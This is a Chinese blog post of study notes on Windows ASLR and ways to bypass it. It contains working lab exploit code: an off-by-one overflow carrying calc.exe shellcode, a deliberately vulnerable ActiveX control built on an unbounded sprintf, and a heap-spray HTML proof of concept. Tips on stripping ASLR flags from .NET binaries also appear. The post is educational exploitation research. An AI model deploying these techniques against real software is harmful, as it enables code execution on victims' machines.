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ASLR,Address Space Layout Randomization,通过加载程序的时候不再使用固定的基址,从而干扰 shellcode 定位的一种保护机制,包括映像随机化、堆栈随机化、PEB 与 TEB 随机化。ASLR 的实现也需要程序和操作系统的双重支持,但程序的支持不是必须的。

ASLR 在 XP 时代已经提出来了,但 XP 上的 ASLR 功能有限,只是对 PEB 和 TEB 进行简单的随机化处理。直到 Windows Vista 出现之后 ASLR 才真正发挥作用。

支持 ASLR 的程序会在 PE 头中设置 IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE 标识。VS 2005 SP1 开始加入了 /dynamicbase 链接选项来支持 ASLR(Project - project Properties - Configuration Properties - Linker - Advanced - Randomized Base Address)。

 

映像随机化

对程序映像的虚拟地址进行随机处理,这个地址是在系统启动时确定的,重启后会变化。映像随机化可以通过注册表来设置:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\MoveImages
DWORD: 0        Disabled
DWORD: -1       Force Enabled
DWORD: other    Normal 

映像随机化使得通过的跳板指令无效。但映像随机化只对加载基址的前两个字节做了随机处理,各模块入口点的低位 2 字节不变。

 

堆栈随机化

堆栈随机化中,其基址是在每次加载程序时确定的。

jmp esp 和 heap spray 的运用使得堆栈随机化对溢出利用的影响有限。

 

PEB、TEB 随机化

XP SP2 中引入 PEB、TEB 的随机化,在此之前固定基址: PEB:0x7FFDF000,TEB:0x7FFDE000,获取当前 PEB 和 TEB 的参考代码如下:

 1 #include "stdafx.h"
 2 
 3 int _tmain(int argc, _TCHAR* argv[])
 4 {
 5     unsigned int teb;
 6     unsigned int peb;
 7     __asm{
 8         mov eax,FS:[0x18]
 9         mov teb,eax
10         mov eax,dword ptr[eax+0x30]
11         mov peb,eax
12     }
13     printf("peb: %#x\nteb: %#x\n",peb,teb);
14     getchar();
15     return 0;
16 }

PEB 和 TEB 随机化效果不是很好,而且溢出利用时还有其它方法获得这两个值。

 

利用未启用 ASLR 的模块做跳板

ASLR 是安全机制,但不是行业标准,不支持 ASLR 的程序很多。不支持 ASLR 意味着加载基址固定,如果当前进程中有这个一个模块,就可以用它做跳板。

Adobe 在 Flash 10 以后的版本才全面支持 Windows 的安全特性,在那之前一直是个危险的切入点。

书中有一个在 Vista(with flash player 9.0.262)下通过 IE 7.0(with Flash9k.ocx)绕过 ALSR 的例子:Flash9k.ocx 中没有 jmp esp 跳板,而上下文中指向栈中的只有 esp、edx、esi,能用的只有 jmp esi 了。但此时 esi 指向栈顶,栈顶的 jmp esi 跳板地址会被译成指令执行。而例子中合适的 jmp esi 指令的地址译为指令后,将会对 eax 指向的位置进行读操作,所以要先调整 eax。而调整 eax 用的跳板面临同样的问题:指令地址等效的代码不能影响 shellcode 的执行。

 

Off-by-One 技术攻击 ASLR

ASLR 对映像随机化时,只对加载基址的高位 2 字节做了地址随机化,因此可以利用 memcpy()、strcpy() 等进行 Off-by-One 攻击:只要寻找当前模块的踏板,并将跳板低 2 位地址覆盖到返回地址中,就可以溢出成功。

下面的例子演示了这个思路(之前的 shellcode 在 win7 上使用不了,其 LoadLibraryA() 函数出错,具体原因还没调。这里借用了 SkyLined 的弹出 calc.exe 的 shellcode,所有 32/64 bit Windows 版本通用,能够恢复栈帧,赞一个)。

 1 // aslr_offbyone.cpp : Defines the entry point for the console application.
 2 // env:
 3 //    * Win 7
 4 //    * VS2008 : GS off / Optimization off / DEP off
 5 
 6 #include "stdafx.h"
 7 
 8 char shellcode[]=
 9 "\x50\x54\x58\x66\x83\xE4\xF0\x50\x31\xC0\x40\x92\x74\x4F\x60\x4A"
10 "\x52\x68\x63\x61\x6C\x63\x54\x59\x52\x51\x64\x8B\x72\x30\x8B\x76"
11 "\x0C\x8B\x76\x0C\xAD\x8B\x30\x8B\x7E\x18\x8B\x5F\x3C\x8B\x5C\x1F"
12 "\x78\x8B\x74\x1F\x20\x01\xFE\x8B\x54\x1F\x24\x0F\xB7\x2C\x17\x42"
13 "\x42\xAD\x81\x3C\x07\x57\x69\x6E\x45\x75\xF0\x8B\x74\x1F\x1C\x01"
14 "\xFE\x03\x3C\xAE\xFF\xD7\x58\x58\x61\x5C\x92\x58\xC3\x50\x51\x53"
15 "\x56\x57\x55\xB2\x60\x68\x63\x61\x6C\x63\x54\x59\x48\x29\xD4\x65"
16 "\x48\x8B\x32\x48\x8B\x76\x18\x48\x8B\x76\x10\x48\xAD\x48\x8B\x30"
17 "\x48\x8B\x7E\x30\x03\x57\x3C\x8B\x5C\x17\x28\x8B\x74\x1F\x20\x48"
18 "\x01\xFE\x8B\x54\x1F\x24\x0F\xB7\x2C\x17\x8D\x52\x02\xAD\x81\x3C"
19 "\x07\x57\x69\x6E\x45\x75\xEF\x8B\x74\x1F\x1C\x48\x01\xFE\x8B\x34"
20 "\xAE\x48\x01\xF7\x99\xFF\xD7\x48\x83\xC4\x68\x5D\x5F\x5E\x5B\x59"
21 "\x5A\x5C\x58\xC3"              // 196 bytes of calc.exe shellcode
22 "\x90\x90\x90\x90\x90\x90\x90\x90"
23 "\x38\x10"               // 0x****1038 point to call eax in main()
24 ;
25 
26 char * test()
27 {
28     char buf[196];
29     memcpy(buf,shellcode,196+8+2);
30     return buf;
31 }
32 
33 int _tmain(int argc, _TCHAR* argv[])
34 {
35     test();
36     _asm call eax    // eax contains buf[] returns from test
37     return 0;
38 }

 

Heap Spray 攻击 ASLR

Heap Spray 是为了应对堆空间的随机化而产生的技术,ASLR 本质也是随机化处理,Heap Spray 也能应对 ASLR 保护。

Heap Spray 是攻击浏览器的技术,实验前先生成含有漏洞的浏览器 ocx 控件:MFC ActiveX Control 控件函数代码如下。

 1 // CvulCtrl message handlers
 2 // env:
 3 //   * windows xp sp3
 4 //   * visual studio 2008 mfc activex control
 5 //     optimization off, GS off
 6 //     use mfc in static library, use unicode charset
 7 //     build: release
 8 //
 9 void CvulCtrl::test(LPCTSTR str)
10 {
11     //AFX_MANAGE_STATE(AfxGetStaticModuleState());
12 
13     // TODO: Add your dispatch handler code here
14     printf("bookmark\n");
15     __asm{
16         push eax;
17         mov eax,0x20141104
18         pop eax
19     }
20     char dest[100];
21     sprintf(dest, "%s", str);
22 }

上述代码的第 14~19 行是调试 OllyDbg 时帮助定位的。第 11 行如果不注释的话,生成的控件在第 21 行执行完后会进行某种验证(SXS:%s called with invalid cookie type 0x........),会导致溢出实验失败。

溢出的 PoC 页面如下(Windows XP sp3 (/NOEXECUTE=OptIn) with IE7):

 1 <html>
 2 <body>
 3 <object classid="clsid:DB30502B-1297-470B-A487-5D2D23967AA3" id="test"></object>
 4 <script>
 5     var shellcode="\u68FC\u0A6A\u1E38\u6368\uD189\u684F\u7432\u0C91";
 6     shellcode+="\uF48B\u7E8D\u33F4\uB7DB\u2B04\u66E3\u33BB\u5332";
 7     shellcode+="\u7568\u6573\u5472\uD233\u8B64\u305A\u4B8B\u8B0C";
 8     shellcode+="\u1C49\u098B\u698B\uAD08\u6A3D\u380A\u751E\u9505";
 9     shellcode+="\u57FF\u95F8\u8B60\u3C45\u4C8B\u7805\uCD03\u598B";
10     shellcode+="\u0320\u33DD\u47FF\u348B\u03BB\u99F5\uBE0F\u3A06";
11     shellcode+="\u74C4\uC108\u07CA\uD003\uEB46\u3BF1\u2454\u751C";
12     shellcode+="\u8BE4\u2459\uDD03\u8B66\u7B3C\u598B\u031C\u03DD";
13     shellcode+="\uBB2C\u5F95\u57AB\u3D61\u0A6A\u1E38\uA975\uDB33";
14     shellcode+="\u6853\u6577\u7473\u6668\u6961\u8B6C\u53C4\u5050";
15     shellcode+="\uFF53\uFC57\uFF53\uF857"; //168b msgbox shellcode
16 
17     var nops=unescape("%u9090%u9090");
18     while(nops.length<0x100000/2)
19         nops+=nops;
20     nops=nops.substring(0,0x100000/2-32/2-4/2-2/2-shellcode.length);
21     nops=nops+shellcode;
22 
23     var memory=new Array();
24     for(var i=0;i<200;i++)
25         memory[i]+=nops;
26 
27     var s="\u9090";
28     while(s.length<54)
29         s+="\u9090";
30     s+="\u0c0c\u0c0c";   // exploit return address
31     //confirm("ready to exploit ...");    // debug
32     test.test(s);
33 </script>
34 </body>
35 </html>

 

这个实验中,vul.ocx 的 uuid 填错,折腾了很久才发现。js 中的代码写错,也折腾很久才改好。如果对 js 熟悉点,不至于耽误这么多时间调试……*_*

Hit:

  * 调试时可以借助 ocx 中的标记,只要搜索 mov eax,0x20141104 或者 pop eax (用 Ctrl+B 搜)

  * 在 Memory 视图中能对内存段设断点(F2),网上还有人提供了一些其它方法,如设置条件断点:点击这里

  * 书中有个利用 java applet(jdk<1.5, -target 1.1)进行 Heap Spray 来绕过 ALSR 的例子

 

为 .NET 控件禁用 ASLR

Alexander Sotirov 在 2008 年的 BlackHat 上披露了 PE 文件是否启用 ASLR 的校验过程:

1 if ( !(pBinaryInfo->pHeaderInfo->usDllCharacteristics & IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE) &&
2      !(pBinaryInfo->pHeaderInfo->bFlags & PINFO_IL_ONLY_IMAGE) &&
3      !(_MnMoveImages == -1) )
4    {
5         _MiNoRelocate++;
6         return 0;
7    }

可见只要满足以下任意条件该 PE 文件启用 ASLR

1 PE 头中含有 IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE 标识
2 IL-ONLY 文件,对 .NET 进行了特殊照顾
3 _MnMoveImages 值为 -1,强制 ASLR

所以,不管是否设置了 IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE 标识,含有 IL-ONLY 标识的 .NET 程序/控件都会启用 ASLR。系统验证 .NET 文件是不是 IL-ONLY 的流程如下:

1 if ( ( (pCORHeader->MajorRuntimeVersion>2) || (pCORHeader->MajorRuntimeVersion==2 && pCORHeader->MinorRuntimeVersion>=5) ) &&
2      (pCONHeader->Flags & COMIMAGE_FLAGS_ILONLY) )
3    {
4         pImageControlArea->pBinaryInfo->pHeaderInfo->bFlags |= PINFO_IL_ONLY_IMAGE;
5         ......
6    }

系统检查一个 .NET 文件是否具有 COMIMAGE_FLAGS_ILONLY 标识前会对该文件的运行时版本进行判断,如果版本号低于 2.5,该文件就不会被认定为 IL-ONLY。

可以用 CFF Explorer 来修改 .NET 文件/控件的 PE 头,去掉 IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE 标识,然后将运行版本号改为小于 2.5 就可以。配合之前 DEP 的例子,可以用这样的 .NET 控件绕过 DEP 和 ASLR

posted on 2014-10-31 10:14  exclm  阅读(1756)  评论(0编辑  收藏  举报